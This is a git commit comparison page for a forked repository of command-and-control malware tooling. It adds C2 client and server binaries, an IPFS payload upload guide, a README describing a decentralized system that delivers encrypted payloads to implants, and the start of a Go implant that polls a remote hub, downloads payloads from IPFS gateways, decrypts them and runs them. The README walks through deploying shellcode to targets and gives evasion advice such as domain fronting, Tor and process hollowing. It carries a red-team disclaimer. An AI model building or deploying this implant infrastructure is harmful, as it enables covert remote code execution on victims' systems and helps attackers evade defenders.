forked from ek0mssavi0r/noPROXY_c2s
Compare commits
13 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b7a63c67f5 | |||
| 57f3e11646 | |||
| ca8cd2be41 | |||
| 6d668124ed | |||
| efedb4e5c2 | |||
| 1060029b45 | |||
| 549841cfac | |||
| 227c8577ca | |||
| 7d48887986 | |||
| 4957196c01 | |||
| c0d88014fe | |||
| 2b8531c4a5 | |||
| 1ebbc0dea4 |
BIN
c2_websocket_abuse/bin/client
Normal file
BIN
c2_websocket_abuse/bin/client
Normal file
Binary file not shown.
BIN
c2_websocket_abuse/bin/server
Normal file
BIN
c2_websocket_abuse/bin/server
Normal file
Binary file not shown.
BIN
c2s_dns_tunnel/bin/c2-client
Normal file
BIN
c2s_dns_tunnel/bin/c2-client
Normal file
Binary file not shown.
BIN
c2s_dns_tunnel/bin/c2-server
Normal file
BIN
c2s_dns_tunnel/bin/c2-server
Normal file
Binary file not shown.
161
c2s_ipfs_payloads/IPFS_UPLOAD.md
Normal file
161
c2s_ipfs_payloads/IPFS_UPLOAD.md
Normal file
|
|
@ -0,0 +1,161 @@
|
||||||
|
# IPFS Upload Guide
|
||||||
|
|
||||||
|
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
|
||||||
|
|
||||||
|
## Option 1: Local IPFS Node (Recommended)
|
||||||
|
|
||||||
|
### Install IPFS (Kubo)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Download Kubo v0.29.0
|
||||||
|
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
|
||||||
|
|
||||||
|
# Extract
|
||||||
|
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
|
||||||
|
|
||||||
|
# Install
|
||||||
|
cd kubo
|
||||||
|
sudo bash install.sh
|
||||||
|
|
||||||
|
# Initialize
|
||||||
|
ipfs init
|
||||||
|
|
||||||
|
# Start the daemon
|
||||||
|
ipfs daemon &
|
||||||
|
|
||||||
|
# Wait for it to be ready
|
||||||
|
ipfs id
|
||||||
|
```
|
||||||
|
|
||||||
|
### Upload a File
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Add a file to IPFS
|
||||||
|
ipfs add payload.enc
|
||||||
|
|
||||||
|
# Output: added QmX... payload.enc
|
||||||
|
# The hash is your CID: QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Start the Daemon on Boot
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Systemd service
|
||||||
|
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
|
||||||
|
[Unit]
|
||||||
|
Description=IPFS Daemon
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStart=/usr/local/bin/ipfs daemon
|
||||||
|
Restart=on-failure
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
sudo systemctl enable ipfs
|
||||||
|
sudo systemctl start ipfs
|
||||||
|
```
|
||||||
|
|
||||||
|
### IPFS API
|
||||||
|
|
||||||
|
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
|
||||||
|
The server uses this by default.
|
||||||
|
|
||||||
|
## Option 2: Pinata.cloud (Free Tier)
|
||||||
|
|
||||||
|
Pinata offers a free tier with 1GB of storage — no local node needed.
|
||||||
|
|
||||||
|
### Setup
|
||||||
|
|
||||||
|
1. Create an account at https://pinata.cloud
|
||||||
|
2. Go to API Keys and generate a JWT
|
||||||
|
3. Use it with the server/upload tool
|
||||||
|
|
||||||
|
### Upload via API
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <your-jwt>" \
|
||||||
|
-F "file=@payload.enc" \
|
||||||
|
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||||
|
```
|
||||||
|
|
||||||
|
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
|
||||||
|
|
||||||
|
### Upload via the C2 Tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Using the upload helper
|
||||||
|
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||||
|
|
||||||
|
# Or with server
|
||||||
|
./server -pinata-jwt <jwt> -mode http
|
||||||
|
# Then in console: deploy payload.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
## Option 3: web3.storage (Free)
|
||||||
|
|
||||||
|
https://web3.storage offers 5GB free with API key auth.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <api-token>" \
|
||||||
|
-H "Content-Type: application/octet-stream" \
|
||||||
|
--data-binary @payload.enc \
|
||||||
|
https://api.web3.storage/upload
|
||||||
|
```
|
||||||
|
|
||||||
|
## Option 4: Infura IPFS API
|
||||||
|
|
||||||
|
Infura provides free IPFS API access (rate limited).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Upload
|
||||||
|
curl -X POST \
|
||||||
|
-F "file=@payload.enc" \
|
||||||
|
"https://ipfs.infura.io:5001/api/v0/add"
|
||||||
|
|
||||||
|
# Requires project ID/secret for authenticated gateways
|
||||||
|
```
|
||||||
|
|
||||||
|
## Gateway URLs for Download
|
||||||
|
|
||||||
|
The implant supports multiple gateway fallback. Configure via `--gateways`.
|
||||||
|
|
||||||
|
Default gateways used by the implant:
|
||||||
|
|
||||||
|
| Gateway | URL Template |
|
||||||
|
|---------|-------------|
|
||||||
|
| ipfs.io | `https://ipfs.io/ipfs/%s` |
|
||||||
|
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
|
||||||
|
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
|
||||||
|
| dweb.link | `https://dweb.link/ipfs/%s` |
|
||||||
|
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
|
||||||
|
|
||||||
|
Custom gateways:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./client --cid-source <url> --decryption-key <key> \
|
||||||
|
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
|
||||||
|
```
|
||||||
|
|
||||||
|
## CID Verification
|
||||||
|
|
||||||
|
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
|
||||||
|
The hash is derived from the file content — changing even one bit changes the CID.
|
||||||
|
|
||||||
|
The implant downloads the payload and can verify the SHA-256 hash matches the CID
|
||||||
|
(for CIDv0, this requires base58 decoding of the multihash — a proper production
|
||||||
|
implementation would add a base58 library for full verification).
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
|
||||||
|
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
|
||||||
|
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
|
||||||
|
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
|
||||||
|
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
|
||||||
|
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.
|
||||||
423
c2s_ipfs_payloads/README.md
Normal file
423
c2s_ipfs_payloads/README.md
Normal file
|
|
@ -0,0 +1,423 @@
|
||||||
|
# C2 IPFS Payload Delivery System
|
||||||
|
|
||||||
|
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||||
|
│ Operator │────▶│ CID Source │────▶│ Implant │
|
||||||
|
│ Console │ │ (HTTP or │ │ │
|
||||||
|
│ (server) │ │ Contract) │ │ (client) │
|
||||||
|
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
|
||||||
|
│ │ │
|
||||||
|
│ encrypt + upload │ serves CID │ polls for CID
|
||||||
|
▼ ▼ ▼
|
||||||
|
┌─────────┐ ┌──────────┐ ┌──────────┐
|
||||||
|
│ IPFS │ │ Implants │ │ IPFS │
|
||||||
|
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
|
||||||
|
└─────────┘ └──────────┘ └──────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### Data Flow
|
||||||
|
|
||||||
|
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
|
||||||
|
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
|
||||||
|
3. **Implant** polls the CID source periodically with jitter
|
||||||
|
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
|
||||||
|
5. **Implant** decrypts with the pre-shared key, executes, reports status
|
||||||
|
|
||||||
|
## Modes
|
||||||
|
|
||||||
|
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
|
||||||
|
|
||||||
|
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
|
||||||
|
|
||||||
|
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐ GET /cid ┌──────────┐
|
||||||
|
│ Server │◀──────────────│ Implant │
|
||||||
|
│ :8443 │ ──────────▶│ │
|
||||||
|
└────┬─────┘ POST /cid └──────────┘
|
||||||
|
│
|
||||||
|
│ POST /cid {"cid":"Qm..."}
|
||||||
|
│
|
||||||
|
┌──┴──┐
|
||||||
|
│Operator│
|
||||||
|
└──────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### MODE B — Smart Contract CID Feed (Fully Decentralized)
|
||||||
|
|
||||||
|
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
|
||||||
|
|
||||||
|
**Pros:** Fully decentralized, censorship-resistant, transparent.
|
||||||
|
|
||||||
|
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
|
||||||
|
│ Operator │──────────────▶│ Smart │ │ Implant │
|
||||||
|
│ Wallet │ │ Contract │◀───│ (watcher)│
|
||||||
|
└──────────┘ └──────┬───────┘ └──────────┘
|
||||||
|
│
|
||||||
|
┌───▼───┐
|
||||||
|
│ Events │
|
||||||
|
│ (logs) │
|
||||||
|
└───────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start (Mode A — 5 minutes)
|
||||||
|
|
||||||
|
### 1. Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clone or cd into the project
|
||||||
|
cd c2-ipfs-payload
|
||||||
|
|
||||||
|
# Build all tools
|
||||||
|
go build -o server ./cmd/server
|
||||||
|
go build -o client ./cmd/client
|
||||||
|
go build -o upload ./cmd/upload
|
||||||
|
|
||||||
|
# Or build the ethereum-enabled versions
|
||||||
|
go build -tags ethereum -o server-eth ./cmd/server
|
||||||
|
go build -tags ethereum -o client-eth ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Start IPFS
|
||||||
|
|
||||||
|
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install and start IPFS daemon
|
||||||
|
ipfs init && ipfs daemon &
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Start the Server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./server --port 8443
|
||||||
|
```
|
||||||
|
|
||||||
|
The server will:
|
||||||
|
- Generate a new encryption key (save this!)
|
||||||
|
- Start the HTTP CID hub on port 8443
|
||||||
|
- Open the operator console
|
||||||
|
|
||||||
|
### 4. Deploy a Payload
|
||||||
|
|
||||||
|
In the operator console:
|
||||||
|
|
||||||
|
```
|
||||||
|
> deploy /path/to/payload.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
Or manually:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Using the upload helper
|
||||||
|
./upload -key $(cat key.txt) -file payload.bin
|
||||||
|
|
||||||
|
# Then in the console:
|
||||||
|
> cid QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Start the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./client \
|
||||||
|
--cid-source http://your-server:8443 \
|
||||||
|
--decryption-key <key-from-server> \
|
||||||
|
--poll-interval 30
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Reference
|
||||||
|
|
||||||
|
### Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--port` | `8443` | HTTP server port (mode A) |
|
||||||
|
| `--user` | `""` | Basic auth username (mode A) |
|
||||||
|
| `--pass` | `""` | Basic auth password (mode A) |
|
||||||
|
| `--jwt` | `""` | JWT token (overrides basic auth) |
|
||||||
|
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
|
||||||
|
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
|
||||||
|
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
|
||||||
|
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
|
||||||
|
| `--contract` | `""` | Contract address (mode B) |
|
||||||
|
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||||
|
| `--max-history` | `100` | Max history entries |
|
||||||
|
|
||||||
|
### Console Commands
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
|
||||||
|
| `cid <cid>` | Manually set a CID |
|
||||||
|
| `encrypt <file>` | Encrypt a file and upload to IPFS |
|
||||||
|
| `status` | Show current state |
|
||||||
|
| `history` | Show recent CID history |
|
||||||
|
| `genkey` | Generate a new encryption key |
|
||||||
|
| `help` | Show help |
|
||||||
|
| `exit` | Shutdown |
|
||||||
|
|
||||||
|
### API Endpoints (Mode A)
|
||||||
|
|
||||||
|
| Method | Path | Auth | Description |
|
||||||
|
|--------|------|------|-------------|
|
||||||
|
| `GET` | `/cid` | Optional | Get current CID |
|
||||||
|
| `POST` | `/cid` | Optional | Set a new CID |
|
||||||
|
| `GET` | `/history` | Optional | Get recent CIDs |
|
||||||
|
| `GET` | `/status` | Optional | Server status |
|
||||||
|
| `GET` | `/` | No | API info |
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Set CID
|
||||||
|
curl -X POST http://server:8443/cid \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"cid":"QmX...","note":"stage2 payload"}'
|
||||||
|
|
||||||
|
# Get current CID
|
||||||
|
curl http://server:8443/cid
|
||||||
|
|
||||||
|
# Get history
|
||||||
|
curl http://server:8443/history
|
||||||
|
```
|
||||||
|
|
||||||
|
Auth:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# With basic auth
|
||||||
|
curl -u admin:password http://server:8443/cid
|
||||||
|
|
||||||
|
# With JWT
|
||||||
|
curl -H "Authorization: Bearer <token>" http://server:8443/cid
|
||||||
|
```
|
||||||
|
|
||||||
|
## Client Reference
|
||||||
|
|
||||||
|
### Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
|
||||||
|
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
|
||||||
|
| `--poll-interval` | `60` | Poll interval in seconds |
|
||||||
|
| `--mode` | `"http"` | `http` or `contract` |
|
||||||
|
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||||
|
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
|
||||||
|
| `--report-url` | `""` | URL to POST execution reports |
|
||||||
|
| `--config` | `""` | Config file for persistence |
|
||||||
|
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
|
||||||
|
| `--id` | auto | Implant ID |
|
||||||
|
|
||||||
|
### Behavior
|
||||||
|
|
||||||
|
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
|
||||||
|
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
|
||||||
|
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
|
||||||
|
- **Auto-reporting**: Posts execution results to a report URL (optional)
|
||||||
|
- **Signal handling**: Saves state on SIGINT/SIGTERM
|
||||||
|
|
||||||
|
## Encryption
|
||||||
|
|
||||||
|
- **Algorithm**: AES-256-GCM (authenticated encryption)
|
||||||
|
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
|
||||||
|
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
|
||||||
|
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
|
||||||
|
|
||||||
|
### Key Management
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Generate a key via server (recommended)
|
||||||
|
./server # auto-generates on start
|
||||||
|
|
||||||
|
# Generate a key manually
|
||||||
|
./upload -key <any-32-byte-hex> -file test.bin --no-upload
|
||||||
|
# Better: use genkey in server console
|
||||||
|
|
||||||
|
# Derive from passphrase
|
||||||
|
./client --decryption-key "my-secret-passphrase"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Smart Contract (Mode B)
|
||||||
|
|
||||||
|
### Contract Interface
|
||||||
|
|
||||||
|
```solidity
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.0;
|
||||||
|
|
||||||
|
contract CIDFeed {
|
||||||
|
string public latestCID;
|
||||||
|
|
||||||
|
event NewCID(address indexed sender, string cid, uint256 timestamp);
|
||||||
|
|
||||||
|
function publishCID(string memory _cid) public {
|
||||||
|
latestCID = _cid;
|
||||||
|
emit NewCID(msg.sender, _cid, block.timestamp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploy and Use
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build with ethereum support
|
||||||
|
go build -tags ethereum -o server-eth ./cmd/server
|
||||||
|
|
||||||
|
# Start in contract mode
|
||||||
|
./server-eth \
|
||||||
|
--mode contract \
|
||||||
|
--contract 0x... \
|
||||||
|
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||||
|
--enc-key <key>
|
||||||
|
|
||||||
|
# Use the console
|
||||||
|
> send-cid 0x... QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Watching Mode B from the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go build -tags ethereum -o client-eth ./cmd/client
|
||||||
|
|
||||||
|
./client-eth \
|
||||||
|
--mode contract \
|
||||||
|
--cid-source 0x... \
|
||||||
|
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||||
|
--decryption-key <key>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Payload Workflow Walkthrough
|
||||||
|
|
||||||
|
### Complete Deployment Cycle
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Build everything
|
||||||
|
go build -o server ./cmd/server
|
||||||
|
go build -o client ./cmd/client
|
||||||
|
|
||||||
|
# 2. Start IPFS daemon
|
||||||
|
ipfs daemon &
|
||||||
|
|
||||||
|
# 3. Start the server (generates key)
|
||||||
|
./server --port 8443
|
||||||
|
|
||||||
|
# 4. In the server console:
|
||||||
|
> genkey
|
||||||
|
New encryption key: a1b2c3d4e5f6... (64 hex chars)
|
||||||
|
|
||||||
|
> deploy shellcode.bin
|
||||||
|
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
|
||||||
|
Uploading to IPFS...
|
||||||
|
Uploaded! CID: QmXyZ...
|
||||||
|
Deployed!
|
||||||
|
|
||||||
|
# 5. On the target:
|
||||||
|
./client \
|
||||||
|
--cid-source http://hub.example.com:8443 \
|
||||||
|
--decryption-key a1b2c3d4e5f6... \
|
||||||
|
--poll-interval 30
|
||||||
|
|
||||||
|
# 6. Implant output:
|
||||||
|
Implant started (ID: aabbccdd, mode: http)
|
||||||
|
Poll interval: 30s with jitter
|
||||||
|
CID source: http://hub.example.com:8443
|
||||||
|
New CID detected: QmXyZ...
|
||||||
|
Fetching payload from IPFS (544 bytes)...
|
||||||
|
Decrypted payload (512 bytes), executing...
|
||||||
|
Payload executed (PID: 12345)
|
||||||
|
|
||||||
|
# 7. Deploy the next stage:
|
||||||
|
> deploy stage2.bin
|
||||||
|
Deployed! CID: QmAbCd...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Manual Workflow (No IPFS Daemon)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Encrypt locally
|
||||||
|
./upload -key <key> -file payload.bin --no-upload
|
||||||
|
|
||||||
|
# 2. Upload via Pinata
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <pinata-jwt>" \
|
||||||
|
-F "file=@payload.bin.enc" \
|
||||||
|
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||||
|
|
||||||
|
# 3. Set the CID on the hub
|
||||||
|
curl -X POST http://server:8443/cid \
|
||||||
|
-d '{"cid":"QmFromPinata"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
### Network
|
||||||
|
|
||||||
|
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
|
||||||
|
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
|
||||||
|
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
|
||||||
|
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
|
||||||
|
|
||||||
|
### Encryption
|
||||||
|
|
||||||
|
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
|
||||||
|
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
|
||||||
|
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
|
||||||
|
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
|
||||||
|
|
||||||
|
### Implant
|
||||||
|
|
||||||
|
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
|
||||||
|
- **Jittered polling**: Reduces fingerprintable patterns
|
||||||
|
- **Config persistence**: Encrypt the config file if saved on disk
|
||||||
|
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
|
||||||
|
|
||||||
|
### Legal
|
||||||
|
|
||||||
|
This tool is for authorized red teaming, penetration testing, and security research.
|
||||||
|
Do not use against systems you do not own or have explicit written permission to test.
|
||||||
|
|
||||||
|
## Build Requirements
|
||||||
|
|
||||||
|
- Go 1.21+
|
||||||
|
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
|
||||||
|
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
|
||||||
|
|
||||||
|
### Platform Support
|
||||||
|
|
||||||
|
| Platform | Mode A | Mode B |
|
||||||
|
|----------|--------|--------|
|
||||||
|
| Linux x86_64 | YES | YES |
|
||||||
|
| Linux arm64 | YES | YES |
|
||||||
|
| macOS x86_64/arm64 | YES | YES |
|
||||||
|
| Windows (cross-compile) | YES | x (CGo) |
|
||||||
|
| OpenBSD/FreeBSD | YES | x |
|
||||||
|
|
||||||
|
## Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
c2-ipfs-payload/
|
||||||
|
├── cmd/
|
||||||
|
│ ├── server/main.go # Operator console + CID hub
|
||||||
|
│ ├── client/main.go # Implant
|
||||||
|
│ └── upload/main.go # Helper: encrypt + upload
|
||||||
|
├── pkg/
|
||||||
|
│ ├── types/types.go # Shared data types
|
||||||
|
│ ├── crypto/crypto.go # AES-256-GCM encryption
|
||||||
|
│ ├── ipfs/ipfs.go # IPFS upload/download
|
||||||
|
│ ├── auth/auth.go # HTTP auth middleware
|
||||||
|
│ └── contract/
|
||||||
|
│ ├── contract.go # Contract interface (no deps)
|
||||||
|
│ └── contract_eth.go # go-ethereum implementation
|
||||||
|
├── README.md # This file
|
||||||
|
└── IPFS_UPLOAD.md # IPFS setup guide
|
||||||
|
```
|
||||||
|
|
||||||
|
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY
|
||||||
403
c2s_ipfs_payloads/cmd/client/main.go
Normal file
403
c2s_ipfs_payloads/cmd/client/main.go
Normal file
|
|
@ -0,0 +1,403 @@
|
||||||
|
// Command client is the implant for the C2 IPFS payload delivery system.
|
||||||
|
//
|
||||||
|
// It polls a CID source (HTTP hub or smart contract), fetches payloads
|
||||||
|
// from IPFS when a new CID is detected, decrypts, and executes them.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
|
||||||
|
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Implant struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config types.Config
|
||||||
|
lastCID string
|
||||||
|
lastFetchTime time.Time
|
||||||
|
httpClient *http.Client
|
||||||
|
pollTicker *time.Ticker
|
||||||
|
stopCh chan struct{}
|
||||||
|
fetchCount int
|
||||||
|
execCount int
|
||||||
|
startTime time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewImplant(cfg types.Config) *Implant {
|
||||||
|
if cfg.ImplantID == "" {
|
||||||
|
// Generate a random implant ID
|
||||||
|
idBytes := make([]byte, 8)
|
||||||
|
rand.Read(idBytes)
|
||||||
|
cfg.ImplantID = hex.EncodeToString(idBytes)
|
||||||
|
}
|
||||||
|
if len(cfg.Gateways) == 0 {
|
||||||
|
cfg.Gateways = ipfs.DefaultGateways
|
||||||
|
}
|
||||||
|
if cfg.PollInterval <= 0 {
|
||||||
|
cfg.PollInterval = 60 // default 60 seconds
|
||||||
|
}
|
||||||
|
if cfg.Mode == "" {
|
||||||
|
cfg.Mode = "http"
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Implant{
|
||||||
|
config: cfg,
|
||||||
|
lastCID: cfg.LastCID,
|
||||||
|
httpClient: &http.Client{Timeout: 30 * time.Second},
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
startTime: time.Now(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// poll fetches the current CID from the configured source.
|
||||||
|
func (im *Implant) poll() (string, error) {
|
||||||
|
switch im.config.Mode {
|
||||||
|
case "http":
|
||||||
|
return im.pollHTTP()
|
||||||
|
case "contract":
|
||||||
|
return im.pollContract()
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollHTTP fetches the current CID from the HTTP CID hub.
|
||||||
|
func (im *Implant) pollHTTP() (string, error) {
|
||||||
|
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
|
||||||
|
|
||||||
|
req, err := http.NewRequest("GET", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create request: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if im.config.JWTFetch != "" {
|
||||||
|
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("HTTP request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode == http.StatusNotFound {
|
||||||
|
return "", nil // No CID set yet
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to read response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var result struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(body, &result); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to parse response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.CID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollContract watches smart contract events.
|
||||||
|
// This is a placeholder — real implementation requires go-ethereum.
|
||||||
|
func (im *Implant) pollContract() (string, error) {
|
||||||
|
// TODO: Implement contract event watching when built with -tags ethereum
|
||||||
|
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
|
||||||
|
}
|
||||||
|
|
||||||
|
// processCID handles a new CID: fetch, verify, decrypt, execute.
|
||||||
|
func (im *Implant) processCID(cid string) error {
|
||||||
|
log.Printf("New CID detected: %s", cid)
|
||||||
|
|
||||||
|
// 1. Fetch from IPFS
|
||||||
|
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
|
||||||
|
